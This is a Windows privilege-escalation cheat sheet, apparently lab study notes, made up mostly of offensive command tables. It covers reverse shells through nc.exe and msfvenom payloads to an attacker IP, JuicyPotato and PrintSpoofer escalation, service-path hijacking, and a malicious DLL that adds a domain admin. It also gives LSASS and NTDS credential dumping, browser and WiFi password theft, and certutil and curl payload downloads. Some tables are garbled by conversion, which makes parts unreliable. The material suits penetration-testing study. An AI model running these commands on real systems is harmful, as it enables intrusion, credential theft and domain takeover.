#### **Windows PrivEsc**

#### **Basics:**

☐ Windows systems present a vast attack surface. Just some of the ways that we can escalate privileges are:

| Abusing Windows group privileges     | Abusing Windows user privileges       |
|--------------------------------------|---------------------------------------|
| Bypassing User Account Control       | Abusing weak service/file permissions |
| Leveraging unpatched kernel exploits | Credential theft                      |
| Traffic Capture                      | and more.                             |

Useful Tools:

| Tool  | Description   |
|---|---|
| Seatbelt  | C# project for performing a wide variety of local privilege escalation checks   |
| winPEAS   | WinPEAS is a script that searches for possible paths to escalate privileges on Windows hosts. All of the checks are explained here  |
| PowerUp   | PowerShell script for finding common Windows privilege escalation vectors that rely on misconfigurations. It can also be used to exploit some of the issues found   |
| SharpUp   | C# version of PowerUp   |
| JAWS  | PowerShell script for enumerating privilege escalation vectors written in PowerShell 2.0  |
| SessionGopher                                     | SessionGopher is a PowerShell tool that finds and decrypts saved session information for remote access tools. It extracts PuTTY, WinSCP, SuperPuTTY, FileZilla, and RDP saved session information   |
| Watson  | Watson is a .NET tool designed to enumerate missing KBs and suggest exploits for Privilege Escalation vulnerabilities.  |
| LaZagne   | Tool used for retrieving passwords stored on a local machine from web browsers, chat tools, databases, Git, email, memory dumps, PHP, sysadmin tools, wireless network configurations, internal Windows password storage mechanisms, and more   |
| Windows Exploit<br>Suggester - Next<br>Generation | WES-NG is a tool based on the output of Windows' systeminfo utility which provides the list of vulnerabilities the OS is vulnerable to, including any exploits for these vulnerabilities. Every Windows OS between Windows XP and Windows 10, including their Windows Server counterparts, is supported |
| Sysinternals Suite                                | We will use several tools from Sysinternals in our enumeration including AccessChk, PipeList, and PsService   |

The highly privileged NT\_AUTHORITY\SYSTEM account, or LocalSystem account which is a highly privileged account with more privileges than a local administrator account and is used to run most Windows services.

The built-in local administrator account. Some organizations disable this account, but many do not. It is not uncommon to see this account reused across multiple systems in a client environment.

| Another local account that is a member of the local Administrators group. Any account in this group we the same privileges as the built-in administrator account.   | ill have |
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| A standard (non-privileged) domain user who is part of the local Administrators group.  |          |
| A domain admin (highly privileged in the Active Directory environment) that is part of the local Administration group.  | rators   |
| Run WinPEAS, Win exploit suggestor  |          |
| Enumeration:  |          |
| System Information(CMD)   |          |
| <ul> <li>Check the tasklist, tasklist /svc</li> <li>Display all environment variables, set</li> <li>View detailed configuration information, systeminfo</li> <li>Check for patches and updates, wmic qfe</li> <li>Check for patches and updates using PS, Get-HotFix   ft -AutoSize</li> <li>Check windows version in PS, [environment]::0SVersion.Version</li> <li>Check for kernel version in CMD, ver</li> </ul> |          |
| User & Group Information(CMD)   |          |
| Check for logged-in users, query user  Check for the current user, echo %USERNAME%  Check for current user's privileges, whoami /priv  Check for current user's group information, whoami /groups  Get the list of all users, net user  Get the list of all groups, net localgroup  Details about a specific group, net localgroup administrators  Get password policy & other account information, net accounts    |          |
| Network Enumeration(CMD)  |          |
| <ul> <li>Check Interface(s), IP Address(es), DNS Information, ipconfig /all</li> <li>Check the ARP Table, arp -a</li> <li>Check the routing table, route print</li> </ul>   |          |
| Enumerating Protections(PS)   |          |
| <pre>Check Windows Defender Status, Get-MpComputerStatus List AppLocker Rules, Get-AppLockerPolicy -Effective   select -ExpandProperty RuleCollect Test AppLocker Policy, Get-AppLockerPolicy -Local   Test-AppLockerPolicy -path C:\Windows\System32\cmd.exe -User Everyone</pre>  | tions    |

| List installed programs, wmic product get name                       |        |       |         |
|--|--------|-------|---------|
| List installed programs using PS, Get-WmiObject -Class Win32_Product | select | Name, | Version |
| ☐ View active network connections, netstat -ano                      |        |       |         |
| List Named pipes with pipe list, pipelist.exe /accepteula            |        |       |         |
| ☐ Listing Named Pipes with PowerShell, gci \\.\pipe\                 |        |       |         |
| ☐ Look for outdated vulnerable services                              |        |       |         |
| ☐ Look for DLL Injection and hijacking                               |        |       |         |

## **Windows User Privileges:**

☐ Windows authorization process:



☐ Interesting groups in windows:

| Group                     | Description   |
|---------------------------|---|
| Default<br>Administrators | Domain Admins and Enterprise Admins are "super" groups.   |
| Server Operators          | Members can modify services, access SMB shares, and backup files.   |
| Backup Operators          | Members are allowed to log onto DCs locally and should be considered Domain Admins. They can make shadow copies of the SAM/NTDS database, read the registry remotely, and access the file system on the DC via SMB. This group is sometimes added to the local Backup Operators group on non-DCs. |
| Print Operators           | Members can log on to DCs locally and "trick" Windows into loading a malicious driver.  |

| Group                          | Description   |
|--------------------------------|---|
| Hyper-V<br>Administrators      | If there are virtual DCs, any virtualization admins, such as members of Hyper-V Administrators, should be considered Domain Admins.   |
| Account<br>Operators           | Members can modify non-protected accounts and groups in the domain.   |
| Remote Desktop<br>Users        | Members are not given any useful permissions by default but are often granted additional rights such as Allow Login Through Remote Desktop Services and can move laterally using the RDP protocol.  |
| Remote<br>Management<br>Users  | Members can log on to DCs with PSRemoting (This group is sometimes added to the local remote management group on non-DCs).  |
| Group Policy<br>Creator Owners | Members can create new GPOs but would need to be delegated additional permissions to link GPOs to a container such as a domain or OU.   |
| Schema Admins                  | Members can modify the Active Directory schema structure and backdoor any to-be-created Group/GPO by adding a compromised account to the default object ACL.  |
| DNS Admins                     | Members can load a DLL on a DC, but do not have the necessary permissions to restart the DNS server. They can load a malicious DLL and wait for a reboot as a persistence mechanism. Loading a DLL will often result in the service crashing. A more reliable way to exploit this group is to create a WPAD record. |

#### User privileges in windows:

| Setting Constant              | Setting Name   | Standard<br>Assignment                     | Description   |
|-------------------------------|--|--|---|
| SeNetworkLogonRight           | Access this computer from the network  Administrators, Authenticated Users |  | Determines which users can connect to the device from the network. This is required by network protocols such as SMB, NetBIOS, CIFS, and COM+.  |
| SeRemoteInteractiveLogonRight | Allow log on<br>through Remote<br>Desktop<br>Services                      | Administrators,<br>Remote Desktop<br>Users | This policy setting determines which users or groups can access the login screen of a remote device through a Remote Desktop Services connection. A user can establish a Remote Desktop Services connection to a particular server but not be able to log on to the console of that same server.                                  |
| SeBackupPrivilege             | Back up files and directories Administra                                   |  | This user right determines which users can bypass file and directory, registry, and other persistent object permissions for the purposes of backing up the system.  |
| SeSecurityPrivilege           | Manage<br>auditing and<br>security log                                     | Administrators                             | This policy setting determines which users can specify object access audit options for individual resources such as files, Active Directory objects, and registry keys. These objects specify their system access control lists (SACL). A user assigned this user right can also view and clear the Security log in Event Viewer. |

| Setting Constant   | Setting Name   | Standard<br>Assignment | Description  |  |  |
|--|--|------------------------|--|--|--|
| SeTakeOwnershipPrivilege   | Take ownership<br>of files or other<br>objects   | Administrators         | This policy setting determines which users can take ownership of any securable object in the device, including Active Directory objects, NTFS files and folders, printers, registry keys, services, processes, and threads.  |  |  |
| SeDebugPrivilege   | Debug programs  Administrators  Impersonate a client after authentication  Administrators, Local Service, Network Service, a under the content of the conten |                        | DenlinPrivilene  |  | This policy setting determines which users can attach to or open any process, even a process they do not own. Developers who are debugging their applications do not need this user right. Developers who are debugging new system components need this user right. This user right provides access to sensitive and critical operating system components. |
| SeImpersonatePrivilege   |  |                        | This policy setting determines which programs are allowed to impersonate a user or another specified account and act on behalf of the user.  |  |  |
| SeLoadDriverPrivilege  | Load and<br>unload device<br>drivers   | Administrators         | This policy setting determines which users can dynamically load and unload device drivers. This user right is not required if a signed driver for the new hardware already exists in the driver.cab file on the device.  Device drivers run as highly privileged code. |  |  |
| SeRestorePrivilege   | Restore files and directories  | Administrators         | This security setting determines which users can bypass file, directory, registry, and other persistent object permissions when they restore backed up files and directories. It determines which users can set valid security principals as the owner of an object.   |  |  |
| <ul> <li>Check privileges with elevated(run as administrator) and non elevated session, who ami /priv</li> <li>Run the script to enable certain privilege or use this or run other scripts to enable the privilege</li> <li>Check hacktricks or other sources to exploit these privileges</li> <li>Before loading any scripts or binary files set execution permission in PS, Set-ExecutionPolicy Bypass -Scope Process</li> </ul> |  |                        |  |  |  |

# **Windows Group Privileges:**

|  | Look for | users | in | these | groups: |
|--|----------|-------|----|-------|---------|
|  |          |       |    |       |         |

| Backup Operators   | Event Log Readers | DnsAdmins        |  |  |  |  |
|--|-------------------|------------------|--|--|--|--|
| Hyper-V Administrators   | Print Operators   | Server Operators |  |  |  |  |
| <ul> <li>□ Enable group privileges through different scripts</li> <li>□ Exploit the privilege by scraping data off the internet</li> </ul> |                   |                  |  |  |  |  |

### **User Account Control**

☐ UAC group policies:

| Group Policy Setting   | Registry Key                | Default Setting  |
|--|-----------------------------|--|
| User Account Control: Admin Approval Mode for the built-in Administrator account                           | FilterAdministratorToken    | Disabled   |
| User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop | EnableUIADesktopToggle      | Disabled   |
| User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode           | ConsentPromptBehaviorAdmin  | Prompt for consent for non-<br>Windows binaries              |
| User Account Control: Behavior of the elevation prompt for standard users                                  | ConsentPromptBehaviorUser   | Prompt for credentials on the secure desktop                 |
| User Account Control: Detect application installations and prompt for elevation                            | EnableInstallerDetection    | Enabled (default for home) Disabled (default for enterprise) |
| User Account Control: Only elevate executables that are signed and validated                               | ValidateAdminCodeSignatures | Disabled   |
| User Account Control: Only elevate UIAccess applications that are installed in secure locations            | EnableSecureUIAPaths        | Enabled  |
| User Account Control: Run all administrators in Admin Approval Mode  | EnableLUA                   | Enabled  |
| User Account Control: Switch to the secure desktop when prompting for elevation                            | PromptOnSecureDesktop       | Enabled  |
| User Account Control: Virtualize file and registry write failures to per-user locations                    | EnableVirtualization        | Enabled  |



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Confirm if UAC is enabled using CMD, REG QUERY

HKEY\_LOCAL\_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

☐ Check UAC Level, REG QUERY

HKEY\_LOCAL\_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

- If o then, UAC won't prompt (like disabled)
- If 1 the admin is asked for username and password to execute the binary with high rights (on Secure Desktop)
- If 2 (Always notify me) UAC will always ask for confirmation to the administrator when he tries to execute something with high privileges (on Secure Desktop)
- If 3 like 1 but not necessary on Secure Desktop
- If 4 like 2 but not necessary on Secure Desktop
- if 5 (default) it will ask the administrator to confirm to run non Windows binaries with high privileges
- If EnableLUA=0 or doesn't exist, no UAC for anyone
- If EnableLua=1 and LocalAccountTokenFilterPolicy=1, No UAC for anyone
- If <a href="EnableLua=1">EnableLua=1</a> and <a href="LocalAccountTokenFilterPolicy=0">LocalAccountTokenFilterPolicy=0</a> and <a href="FilterAdministratorToken=0">FilterAdministratorToken=0</a>\*\*, No UAC for RID 500 (Built-in Administrator)\*\*
- If EnableLua=1 and LocalAccountTokenFilterPolicy=0 and FilterAdministratorToken=1, UAC for everyone
- ☐ If UAC is disable(ConsentPromptBehaviorAdmin is 0), Start-Process powershell -Verb runAs "calc.exe"

#### **Weak Permissions**

| Run SharpUp to enumerate weak ACL's in PS, .\SharpUp.exe audit                             |
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| Check permissions of a binary with icacls in PS, icacls "C:\Program Files                  |
| <pre>(x86)\PCProtect\SecurityService.exe"</pre>  |
| Check permissions of a binary with AccessChk in CMD, accesschk.exe /accepteula -quvcw      |
| WindscribeService  |
| Check startup programs in PS, Get-CimInstance Win32_StartupCommand   select Name, command, |
| Location, User  fl   |

## **Credential Theft**

|   | Search for interesting files in PS, findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml        |
|---|--|
|   | Check chrome dictionary files in PS, gc 'C:\Users\htb-student\AppData\Local\Google\Chrome\User         |
|   | Data\Default\Custom Dictionary.txt'   Select-String password   |
|   | Read powershell history file in PS, foreach(\$user in ((ls C:\users).fullname)){cat                    |
|   | "\$user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -             |
|   | ErrorAction SilentlyContinue}  |
|   | Decrypt PowerShell Credentials in PS,  |
|   | <pre>\$credential = Import-Clixml -Path 'C:\scripts\pass.xml'</pre>                                    |
|   | <pre>\$credential.GetNetworkCredential().username</pre>  |
|   | <pre>\$credential.GetNetworkCredential().password</pre>  |
|   | Search File Contents for String - Example 1 in CMD, cd c:\Users\htb-student\Documents & findstr /SI /M |
|   | "password" *.xml *.ini *.txt   |
|   | Search File Contents for String - Example 2 in CMD, findstr /si password *.xml *.ini *.txt *.config    |
|   | Search File Contents for String - Example 3 in CMD, findstr /spin "password" *.*                       |
|   | Search File Contents with PowerShell, select-string -Path C:\Users\htb-student\Documents\*.txt -       |
|   | Pattern password   |
|   | Search for File Extensions - Example 1 in CMD, dir /S /B *pass*.txt == *pass*.xml == *pass*.ini ==     |
|   | *cred* == *vnc* == *.config*   |
|   | Search for File Extensions - Example 2 in CMD, where /R C:\ *.config                                   |
|   | Search for File Extensions Using PowerShell, Get-ChildItem C:\ -Recurse -Include *.rdp, *.config,      |
|   | *.vnc, *.cred -ErrorAction Ignore  |
|   | Look for StickyNotes DB Files  |
|   | Some other interesting files we should look at:  |
|   |  |
| % | SYSTEMDRIVE%\pagefile.sys  |
|   | WINDIR%\debug\NetSetup.log   |
|   | WINDIR%\repair\sam<br>WINDIR%\repair\system  |
|   | WINDIR%\repair\software, %WINDIR%\repair\security  |
|   | WINDIR%\iis6.log   |
|   | WINDIR%\system32\config\AppEvent.Evt<br>WINDIR%\system32\config\SecEvent.Evt                           |
| % | WINDIR%\system32\config\default.sav  |
|   | WINDIR%\system32\config\security.sav   |
|   | WINDIR%\system32\config\software.sav<br>WINDIR%\system32\config\system.sav                             |
|   | WINDIR%\system32\CCM\logs\*.log  |
|   | USERPROFILE%\ntuser.dat<br>USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat                        |
|   | WINDIR%\System32\drivers\etc\hosts   |
|   | :\ProgramData\Configs\*  |
| С | :\Program Files\Windows PowerShell\*   |
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| Ш | List stored credential in CMD, cmdkey /list  |
|   | Run commands as other user in PS, runas /savecred /user:inlanefreight\bob "COMMAND HERE"               |
|   | Retrieve Saved Credentials from Chrome, .\SharpChrome.exe logins /unprotect                            |
|   | Run All LaZagne Modules to dump passwords, .\lazagne.exe all   |

|  | Enumerating Autologon with reg.exe, reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows |
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|  | NT\CurrentVersion\Winlogon"  |
|  | Enumerating Putty Sessions and Finding Credentials, reg query                                |
|  | <pre>HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions &gt; reg query</pre>              |
|  | HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\kali%20ssh                             |
|  | Viewing Saved Wireless Networks, netsh wlan show profile                                     |
|  | Retrieving Saved Wireless Passwords, netsh wlan show profile ilfreight_corp key=clear        |
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### **Misc Techniques:**

Below are some of the sources from which we can obtain information from compromised systems:

- Installed applications
- · Installed services
  - Websites
  - File Shares
  - Databases
  - Directory Services (such as Active Directory, Azure AD, etc.)
  - Name Servers
  - · Deployment Services
  - Certificate Authority
  - · Source Code Management Server
  - Virtualization
  - Messaging
  - · Monitoring and Logging Systems
  - Backups
- Sensitive Data
  - Keylogging
  - Screen Capture
  - Network Traffic Capture
  - · Previous Audit reports
- User Information
  - History files, interesting documents (.doc/x,.xls/x,password./pass., etc)
  - Roles and Privileges
  - Web Browsers
  - IM Clients

| Identifying Common Applications, dir "C:\Program Files"                                      |
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| Get Installed Programs via PowerShell & Registry Keys  |
| \$INSTALLED = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*   |
| Select-Object DisplayName, DisplayVersion, InstallLocation > \$INSTALLED += Get-ItemProperty |
| HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*   Select-Object      |
| DisplayName, DisplayVersion, InstallLocation > (\$INSTALLED   ?{ \$DisplayName -ne \$null }  |
| sort-object -Property DisplayName -Unique   Format-Table -AutoSize                           |

| Copy Firefox Cookies Database, copy \$env:APPDATA\Mozilla\Firefox\Profiles\*.default-release\cookies.sqlite. |                        |                   |   |
|--|------------------------|-------------------|---|
|  |                        |                   | dbpath "/home/plaintext/cookies.sqlite" - |
| host slackcookie d   |                        | extractor.py      | ubpach /home/planicext/cookres.sqtite -   |
| Monitor the Clipboard with   |                        |                   |   |
| IEX(New-Object   | ,                      |                   |   |
|  | adString('https:/      | /raw.githubuserd  | content.com/inguardians/Invoke-           |
| Clipboard/master/Invo  | ke-Clipboard.ps1'      | ) > Invoke-Clipb  | poardLogger                               |
| ☐ Capture Credentials from   | n the Clipboard with I | nvoke-ClipboardLe | ogger, Invoke-ClipboardLogger             |
| ☐ Some interesting living o  | ff the land functional | ity may include:  |   |
|  |                        |                   |   |
| Code execution   | Code compilation       | File transfers    |   |
| Persistence  | UAC bypass             | Credential theft  |   |
| Dumping process memory   | Keylogging             | Evasion           |   |
| DLL hijacking  |                        |                   |   |
| Transferring File with Certutil, certutil.exe -urlcache -split -f http://10.10.14.3:8080/shell.bat shell.bat |                        |                   |   |
| Enumerating Scheduled  | Tasks, schtasks /c     | uery /fo LIST /   | V   |
| ☐ Enumerating Scheduled  | Tasks with PowerSh     | ell, Get-Schedule | dTask   select TaskName,State             |
| ☐ Checking Local User De   | scription Field, Get-  | LocalUser         |   |
| ☐ Enumerating Computer [   | Description Field with | n Get-WmiObject C | Cmdlet, Get-WmiObject -Class              |
| Win32_OperatingSystem   select Description   |                        |                   |   |
| ☐ Mount VMDK on Linux, guestmount -a SQL01-disk1.vmdk -iro /mnt/vmdk   |                        |                   |   |
| Mount VHD/VHDX on Linux, guestmountadd WEBSRV10.vhdxro /mnt/vhdx/ -m /dev/sda1                               |                        |                   |   |
| Citrix Breakout  |                        |                   |   |
|  |                        |                   |   |

### **Initial Enumeration**

| Command  | Description                                   |
|--|---|
| xfreerdp /v: <target ip=""> /u:htb-student</target>  | RDP to lab target                             |
| ipconfig /all  | Get interface, IP address and DNS information |
| arp -a   | Review ARP table                              |
| route print  | Review routing table                          |
| Get-MpComputerStatus   | Check Windows Defender status                 |
| <pre>Get-AppLockerPolicy -Effective \  select -ExpandProperty RuleCollections</pre>                            | List AppLocker rules                          |
| <pre>Get-AppLockerPolicy -Local \  Test-AppLockerPolicy -path C:\Windows\System32\cmd.exe -User Everyone</pre> | Test AppLocker policy                         |

| Command                                     | Description                                    |
|---|--|
| set   | Display all environment variables              |
| systeminfo                                  | View detailed system configuration information |
| wmic qfe                                    | Get patches and updates                        |
| wmic product get name                       | Get installed programs                         |
| tasklist /svc                               | Display running processes                      |
| query user                                  | Get logged-in users                            |
| echo %USERNAME%                             | Get current user                               |
| whoami /priv                                | View current user privileges                   |
| whoami /groups                              | View current user group information            |
| net user                                    | Get all system users                           |
| net localgroup                              | Get all system groups                          |
| net localgroup administrators               | View details about a group                     |
| net accounts                                | Get passsword policy                           |
| netstat -ano                                | Display active network connections             |
| pipelist.exe /accepteula                    | List named pipes                               |
| gci \\.\pipe\                               | List named pipes with PowerShell               |
| accesschk.exe /accepteula \\.\Pipe\lsass -v | Review permissions on a named pipe             |

## **Handy Commands**

| Command  | Description                                     |
|--|---|
| mssqlclient.py sql_dev@10.129.43.30 -windows-auth  | Connect using mssqlclient.py                    |
| enable_xp_cmdshell   | Enable<br>xp_cmdshell<br>with<br>mssqlclient.py |
| xp_cmdshell whoami   | Run OS<br>commands with<br>xp_cmdshell          |
| <pre>c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.3 443 -e cmd.exe" -t *</pre> | Escalate privileges with JuicyPotato            |
| <pre>c:\tools\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd"</pre>   | Escalating privileges with PrintSpoofer         |

| Command   | Description  |
|---|--|
| procdump.exe -accepteula -ma lsass.exe lsass.dmp  | Take memory<br>dump with<br>ProcDump                       |
| sekurlsa::minidump lsass.dmp and sekurlsa::logonpasswords   | Use MimiKatz to extract credentials from LSASS memory dump |
| <pre>dir /q C:\backups\wwwroot\web.config</pre>   | Checking<br>ownership of a<br>file                         |
| takeown /f C:\backups\wwwroot\web.config  | Taking<br>ownership of a<br>file                           |
| <pre>Get-ChildItem -Path 'C:\backups\wwwroot\web.config' \  select name,directory, @{Name="Owner";Expression={(Ge t-ACL \$Fullname).Owner}}</pre>   | Confirming changed ownership of a file                     |
| <pre>icacls "C:\backups\wwwroot\web.config" /grant htb-student:F</pre>  | Modifying a file ACL                                       |
| secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL  | Extract hashes with secretsdump.py                         |
| <pre>robocopy /B E:\Windows\NTDS .\ntds ntds.dit</pre>  | Copy files with ROBOCOPY                                   |
| <pre>wevtutil qe Security /rd:true /f:text \  Select-String "/user"</pre>   | Searching<br>security event<br>logs                        |
| <pre>wevtutil qe Security /rd:true /f:text /r:share01 /u:julie.clay /p:Welcome1 \  findstr "/user"</pre>  | Passing credentials to wevtutil                            |
| <pre>Get-WinEvent -LogName security \  where { \$ID -eq 4688 -and \$Properties[8].Value -like '*/user*' } \  Select-Object @{name='CommandLine';expression={ \$Properties[8].Value }}</pre> | Searching event logs with PowerShell                       |
| msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll  | Generate malicious DLL                                     |
| dnscmd.exe /config /serverlevelplugindll adduser.dll  | Loading a custom DLL with dnscmd                           |
| wmic useraccount where name="netadm" get sid  | Finding a user's SID                                       |
| sc.exe sdshow DNS   | Checking<br>permissions on<br>DNS service                  |
| sc stop dns   | Stopping a service   |

| Command  | Description  |
|--|--|
| sc start dns   | Starting a service                                   |
| reg query \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters  | Querying a registry key                              |
| <pre>reg delete \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll</pre>                    | Deleting a registry key                              |
| sc query dns   | Checking a service status                            |
| Set-DnsServerGlobalQueryBlockList -Enable \$false -ComputerName dc01.inlanefreight.local   | Disabling the global query block list                |
| Add-DnsServerResourceRecordA -Name wpad -ZoneName inlanefreight.local -ComputerName dc01.inlanefreight.local -IPv4Address 10.10.14.3 | Adding a WPAD record                                 |
| cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp  | Compile with cl.exe                                  |
| <pre>reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\?? \C:\Tools\Capcom.sys"</pre>                         | Add reference to a driver (1)                        |
| <pre>reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1</pre>  | Add reference to a driver (2)                        |
| .\DriverView.exe /stext drivers.txt and cat drivers.txt \  Select-String - pattern Capcom  | Check if driver is loaded                            |
| <pre>EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.sys</pre>   | Using<br>EopLoadDriver                               |
| <pre>c:\Tools\PsService.exe security AppReadiness</pre>  | Checking<br>service<br>permissions with<br>PsService |
| <pre>sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add"</pre>                                    | Modifying a service binary path                      |
| REG QUERY  HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA                                | Confirming UAC is enabled                            |
| REG QUERY  HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin               | Checking UAC level                                   |
| [environment]::OSVersion.Version   | Checking<br>Windows version                          |
| cmd /c echo %PATH%   | Reviewing path variable                              |
| <pre>curl http://10.10.14.3:8080/srrstr.dll -0 "C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll"</pre>                 | Downloading file with cURL in PowerShell             |
| <pre>rundll32 shell32.dll,Control_RunDLL C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll</pre>                         | Executing custom dll with rundll32.exe               |

| Command   | Description   |
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| .\SharpUp.exe audit   | Running<br>SharpUp                                      |
| <pre>icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe"</pre>  | Checking service permissions with icacls                |
| <pre>cmd /c copy /Y SecurityService.exe "C:\Program Files (x86)\PCProtect\SecurityService.exe"</pre>  | Replace a service binary                                |
| <pre>wmic service get name,displayname,pathname,startmode \  findstr /i "auto" \  findstr /i /v "c:\windows\\" \  findstr /i /v """</pre>                                   | Searching for unquoted service paths                    |
| accesschk.exe /accepteula "mrb3n" -kvuqsw hklm\System\CurrentControlSet\services  | Checking for<br>weak service<br>ACLs in the<br>Registry |
| Set-ItemProperty -Path  HKLM:\SYSTEM\CurrentControlSet\Services\ModelManagerService -Name "ImagePath" -  Value "C:\Users\john\Downloads\nc.exe -e cmd.exe 10.10.10.205 443" | Changing<br>ImagePath with<br>PowerShell                |
| <pre>Get-CimInstance Win32_StartupCommand \  select Name, command, Location, User \  fl</pre>   | Check startup programs                                  |
| <pre>msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.3 LPORT=8443 - f exe &gt; maintenanceservice.exe</pre>  | Generating a malicious binary                           |
| get-process -Id 3324  | Enumerating a process ID with PowerShell                |
| <pre>get-service \  ? {\$DisplayName -like 'Druva*'}</pre>  | Enumerate a running service by name with PowerShell     |

## **Credential Theft**

| Command  | Description  |
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| findstr /SIM /C:"password" *.txt *ini *.cfg *.config *.xml   | Search for files with the phrase "password"        |
| <pre>gc 'C:\Users\htb-student\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt' \  Select-String password</pre> | Searching for passwords in Chrome dictionary files |
| (Get-PSReadLineOption).HistorySavePath   | Confirm PowerShell history save path               |
| gc (Get-PSReadLineOption).HistorySavePath  | Reading PowerShell history file                    |
| <pre>\$credential = Import-Clixml -Path 'C:\scripts\pass.xml'</pre>  | Decrypting PowerShell credentials                  |
| <pre>cd c:\Users\htb-student\Documents &amp; findstr /SI /M "password" *.xml *.ini *.txt</pre>                                     | Searching file contents for a string               |

| Command  | Description                                 |
|--|---|
| findstr /si password *.xml *.ini *.txt *.config  | Searching file contents for a string        |
| findstr /spin "password" *.*   | Searching file contents for a string        |
| <pre>select-string -Path C:\Users\htb-student\Documents\*.txt -Pattern password</pre>              | Search file contents with PowerShell        |
| <pre>dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*</pre>        | Search for file extensions                  |
| where /R C:\ *.config  | Search for file extensions                  |
| <pre>Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred - ErrorAction Ignore</pre> | Search for file extensions using PowerShell |
| cmdkey /list   | List saved credentials                      |
| .\SharpChrome.exe logins /unprotect  | Retrieve saved Chrome credentials           |
| .\lazagne.exe -h   | View LaZagne help menu                      |
| .\lazagne.exe all  | Run all LaZagne modules                     |
| Invoke-SessionGopher -Target WINLPE-SRV01  | Running SessionGopher                       |
| netsh wlan show profile  | View saved wireless networks                |
| netsh wlan show profile ilfreight_corp key=clear   | Retrieve saved wireless passwords           |

### **Other Commands**

| Command   | Description  |
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| certutil.exe -urlcache -split -f http://10.10.14.3:8080/shell.bat shell.bat                       | Transfer file with certutil                              |
| certutil -encode file1 encodedfile  | Encode file with certutil                                |
| certutil -decode encodedfile file2  | Decode file with certutil                                |
| <pre>reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer</pre>              | Query for always<br>install elevated<br>registry key (1) |
| reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer                                      | Query for always<br>install elevated<br>registry key (2) |
| <pre>(msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.3 lport=9443 -f msi &gt; aie.msi</pre> | Generate a malicious<br>MSI package                      |
| <pre>msiexec /i c:\users\htb-student\desktop\aie.msi /quiet /qn /norestart</pre>                  | Executing an MSI package from command line               |
| schtasks /query /fo LIST /v   | Enumerate scheduled tasks                                |

| Command   | Description                                     |
|---|---|
| Get-ScheduledTask \  select TaskName,State  | Enumerate scheduled tasks with PowerShell       |
| .\accesschk64.exe /accepteula -s -d C:\Scripts\   | Check permissions on a directory                |
| Get-LocalUser   | Check local user description field              |
| Get-WmiObject -Class Win32_OperatingSystem \  select Description  | Enumerate computer description field            |
| guestmount -a SQL01-disk1.vmdk -iro /mnt/vmd  | Mount VMDK on<br>Linux                          |
| guestmountadd WEBSRV10.vhdxro /mnt/vhdx/ -m /dev/sda1   | Mount VHD/VHDX on Linux                         |
| sudo python2.7 windows-exploit-suggester.pyupdate   | Update Windows<br>Exploit Suggester<br>database |
| <pre>python2.7 windows-exploit-suggester.pydatabase 2021-05-13-mssb.xls systeminfo win7lpe-systeminfo.txt</pre> | Running Windows<br>Exploit Suggester            |